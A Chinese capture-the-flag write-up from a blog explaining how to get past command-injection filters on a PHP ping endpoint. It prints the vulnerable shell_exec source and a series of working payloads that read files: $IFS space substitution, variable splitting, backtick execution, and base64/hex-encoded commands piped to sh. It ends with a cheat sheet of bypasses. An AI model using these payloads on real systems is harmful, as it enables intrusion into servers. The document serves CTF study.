CTFWeb-命令执行漏洞过滤的绕过姿势

前言

为了备战(划水)5 月份广东省的 “红帽杯” 网络安全竞赛中,就遇到过命令执行CTF解题-2020年强网杯参赛WriteUp(题目名称 “主动” ),当时采用了 base64 编码联合反引号、变量拼接两种方式绕过了 flag 关键字的过滤并读取了 flag 值:
CTFWeb-命令执行漏洞过滤的绕过姿势CTFWeb-命令执行漏洞过滤的绕过姿势本文目的在于结合 BUUCTF 平台中关于 2019 年 GXYCTF 竞赛中的一道命令执行绕过题目,总结此类题目的绕过姿势和解题方法。

关于命令执行漏洞的介绍和 DVWA 靶场实例,可参见我的另一博文:Web安全-命令执行漏洞

CTF题目

先来看看题目:
CTFWeb-命令执行漏洞过滤的绕过姿势1、访问题目地址,很明显提示在 URL 拼接 ip 参数,结合题目名称,可猜测是考察命令执行漏洞
CTFWeb-命令执行漏洞过滤的绕过姿势2、拼接 ip 参数并尝试赋值 127.0.0.1,发现是执行力 ping 命令:
CTFWeb-命令执行漏洞过滤的绕过姿势3、拼接 ls 命令尝试进行命令执行,发现了 flag.php
CTFWeb-命令执行漏洞过滤的绕过姿势4、尝试直接读取flag.php,发现存在空格过滤,读取失败:
CTFWeb-命令执行漏洞过滤的绕过姿势5、尝试使用${IFS}$替换空格,发现过滤了{}
CTFWeb-命令执行漏洞过滤的绕过姿势6、那就尝试使用$IFS$1替换空格,可绕过空格过滤,但发现还过滤flag关键词:
CTFWeb-命令执行漏洞过滤的绕过姿势7、既然 flag.php读取失败,那就先看看index.php吧,发现了过滤规则:
CTFWeb-命令执行漏洞过滤的绕过姿势
源码如下:

<!--?php if(isset($_GET['ip'])){   $ip = $_GET['ip'];   if(preg_match("/&|/|?|*|<|[x{00}-x{1f}]| --> |'|"|\|(|)|[|]|{|}/", $ip, $match)){     echo preg_match("/&|/|?|*|<|[x{00}-x{20}]|>|'|"|\|(|)|[|]|{|}/", $ip, $match);     die("fxck your symbol!");   } else if(preg_match("/ /", $ip)){     die("fxck your space!");   } else if(preg_match("/bash/", $ip)){     die("fxck your bash!");   } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){     die("fxck your flag!");   }   $a = shell_exec("ping -c 4 ".$ip);   echo " ";   print_r($a); } ?> 

可以看到,服务端过滤了以下字符:

& /* < x{00}-x{1f} ' "  () [] {}  空格 "xxxfxxxlxxxaxxxgxxx" " " "bash"  

想要读取 flag.php 文件,就必须想办法绕过上述过滤。

绕过姿势

了解完题目概况,下面就开始学习 CTF 中命令执行漏洞相关的绕过姿势。

命令联合执行

来看看命令联合执行时的一些关键词特性:

连接词 释义
; 前面的命令执行完以后,继续执行后面的命令
| 管道符,将上一条命令的输出作为下一条命令的参数(显示后面的执行结果)
|| 当前面的命令执行出错时(为假)执行后面的命令
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真

比如上面的题目也可以使用| 进行命令拼接:
CTFWeb-命令执行漏洞过滤的绕过姿势

关键词的绕过

1、绕过空格过滤的方法

${IFS}$9 {IFS} $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 IFS <  <>  {cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来 %20   (space) %09   (tab) X=$'catx09./flag.php';$X       (x09表示tab,也可以用x20) 

2、禁用 cat 的方法

ps:有时会禁用cat: 解决方法是使用tac反向输出命令: linux命令中可以加,所以甚至可以cat /flag 

内联执行绕过

内联,就是将反引号内命令的输出作为输入执行。

?ip=127.0.0.1;cat$IFS$9`ls`  $IFS在Linux下表示为空格 $9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字 这里$IFS$9$IFS垂直,后面加个$与{}类似,起截断作用 

多种解法

学习完相关绕过姿势的理论基础,下面回到上面 CTF 实例题目中进行实战。

变量拼接

针对服务端 flag 关键词的贪婪匹配:

if(preg_match("/.*f.*l.*a.*g.*/", $ip)){     die("fxck your flag!"); 

可构造如下 Payload 绕过:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 

执行效果如下:
CTFWeb-命令执行漏洞过滤的绕过姿势此处顺便补充下一些通配符的方法:
CTFWeb-命令执行漏洞过滤的绕过姿势

内联执行

Payload:

?ip=127.0.0.1;cat$IFS$9`ls` 

内联执行,就是将反引号内命令的输出作为输入执行:
CTFWeb-命令执行漏洞过滤的绕过姿势秒题大概就是这种做法吧……

Base64编码

Payload:

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 

这也是官方的 Writeup,原理是既然过滤 bash,那就用 sh,sh 的大部分脚本都可以在 bash下运行:
CTFWeb-命令执行漏洞过滤的绕过姿势

总结

本文学习并总结了 CTF 中对于命令执行漏洞的一些绕过技巧和思路,唯有多加练习和总结才能在 CTF 这种拼脑洞的游戏里生存啊……任重道远!

类似题目的解题方法总结:

cat fl**匹配任意  cat fla**匹配任意 cat flag.php        反斜线绕过 cat fl''ag.php        两个单引号绕过 echo "Y2F0IGZsYWcucGhw" | base64 -d | bash       //base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数  echo "63617420666c61672e706870" | xxd -r -p | bash        //hex编码绕过(引号可以去掉)  echo "63617420666c61672e706870" | xxd -r -p | sh      //sh的效果和bash一样  cat fl[a]g.php       用[]匹配  a=fl;b=ag;cat $a$b          变量替换 cp fla{g.php,G}    把flag.php复制为flaG ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的  

本文参考:

版权声明:玥玥 发表于 2021-04-30 14:18:20。
转载请注明:CTFWeb-命令执行漏洞过滤的绕过姿势 | 女黑客导航